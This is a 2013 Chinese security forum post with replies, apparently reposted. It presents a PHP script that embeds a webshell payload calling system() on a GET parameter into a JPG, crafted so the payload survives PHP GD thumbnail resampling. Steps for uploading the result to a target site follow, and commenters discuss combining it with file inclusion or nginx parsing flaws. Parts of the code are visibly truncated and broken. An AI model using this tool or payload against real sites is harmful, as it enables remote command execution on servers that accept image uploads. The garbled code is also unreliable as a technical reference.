突破php的imagecopyresampled和imagecopyresized实现图片马JPG

  • A+
所属分类:lcx

突破php 的imagecopyresampled 和imagecopyresized 实现图片马 JPG

livers (如梦似幻) | 2013-07-26 15:07

之前有人发布了 利用PNG 图片上述压缩函数的方法 原理利用

PNG的结构IDAT chunks填充一句话webshell,并进行一套取模运算 详见:

https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

但是受限于 图像的尺寸 必须320×320 且必须是PNG格式

那JPG怎么办

神奇的老外 提出了列方法

jpg_payload.php 

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
 1) After the second processing the injected data may become partially corrupted.
 2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another
 initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = '=system($_GET[c]);?>';

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
 die('php-gd is not installed');
}

if(!isset($argv[1])) {
    die('php jpg_payload.php ');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }

    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("",$nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_'.$argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                             break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                 $outStream =
                    substr($outStream, 0, $startPos) .
                     $miniPayload .
                    substr(
                        str_repeat("",$nullbytePayloadSize).
                             substr($outStream, $startPos, $imageStreamSize),
                         0,
                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                             substr($outStream, $stopPos);
             } elseif($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if(checkImage('payload_'.$argv[1], $outStream)) {
                 die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_'.$argv[1]);
die('Something's wrong');

function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg_match('/(d+) extraneous bytes before marker/', $errstr, $m)) {
         if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}

class DataInputStream {
    private $binData;
    private $order;
    private $size;

    public function __construct($filename, $order = false, $fromString = false) {
         $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                 die('File not exists ['.$filename.']');
             $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }

    public function seek() {
        return ($this->size - strlen($this->binData));
    }

    public function skip($skip) {
        $this->binData = substr($this->binData, $skip);
    }

    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort() {
        if(strlen($this->binData) binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) binData||(strlen($this->binData) === 0);
    }
}
?>

http://pastebin.com/3cznqi8P

具体方法 时:

1. 你先要 上传你想要构造的图片马原片

2. 等网站生成完缩略图下载下来

3. 用上述脚本 生成带图片的 木马

4. 重新上传到网站 结束

这个也要看运气成分

drops 里面园长MM说喜欢看我的图像,我会告诉你这图像是可以的。

[原文地址]

相关讨论:

1#

livers (如梦似幻) | 2013-07-26 15:08

@GaRY look

2#

VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wzone/1/index.php on line 10|@齐迹|昨晚做梦梦见了一个ecshop注射0day,醒来后忘记在哪了。) | 2013-07-26 15:10

好牛逼的思路

3#

livers (如梦似幻) | 2013-07-26 15:11

@VIP 小学生 两秒 看完了??

4#

楼上是马甲 | 2013-07-26 15:12

mark

5#

M0nster | 2013-07-26 15:13

mark

6#

HRay (。。。) | 2013-07-26 16:00

连压缩图片都不安全了,现实真残酷

7#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-07-26 16:10

哥,你邪恶了,难道我第一眼看到的不是你的头像而是你头像里面蕴含的那段webshell?

其实我是想说每次看到你头像都有一种超神的感觉。

8#

livers (如梦似幻) | 2013-07-26 16:45

@园长 你的javaweb系列让我想到不少思路,继续啊

9#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-07-26 17:23

@livers 老大有什么奇淫绝技分享下啊。

10#

流影 (白帽子是啥?) | 2013-07-26 17:35

。。。好厉害的样子

11#

nauscript () | 2013-07-26 17:53

@流影 吓 还没走?!

12#

流影 (白帽子是啥?) | 2013-07-26 18:12

@nauscript 汗 不至于把你 ~

13#

z7y (我是z7y,我为小胖子代言!!) | 2013-07-27 02:56

求继续...这思路叼炸天了

核攻击 | 2013-07-27 08:45

乌云之前讨论过这个:php图片木马绕过图片缩放、压缩、二次转码等“破坏性”过滤

15#

insight-labs (Root Yourself in Success) | 2013-07-27 09:55

那也得找到lfi才能利用啊

16#

gery | 2013-07-27 13:08

实测真的吧一句话写进去了,可以配合nginx解析漏洞

17#

有妹子送上 | 2013-07-27 13:10

mark

18#

livers (如梦似幻) | 2013-07-27 22:58

@核攻击 嗯 这两者不一样 这个jpg 并且不再局限与320*320 已经进了一大步

19#

livers (如梦似幻) | 2013-07-27 22:59

@insight-labs 不知道是不是瞌睡龙 我更在乎的是这篇文章实现了之前讨论的一些不可能。

20#

昵称 ('">

文章来源于lcx.cc:突破php的imagecopyresampled和imagecopyresized实现图片马JPG

相关推荐: 奇人李铁马(二)

作者:囧白猫 李铁马很有才,他在牛逼的吉他之外会画那么点画。据说当初放弃巨大的都匀公务员工作,来到丽江第一份讨生计的活就是出租自行车。隔壁青旅客栈的老板对自己华丽丽新展展,价格相同,却死活没李铁马车子稀巴烂生意好得很的情况百思不得其解。找了个卧底去打探,发现李…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: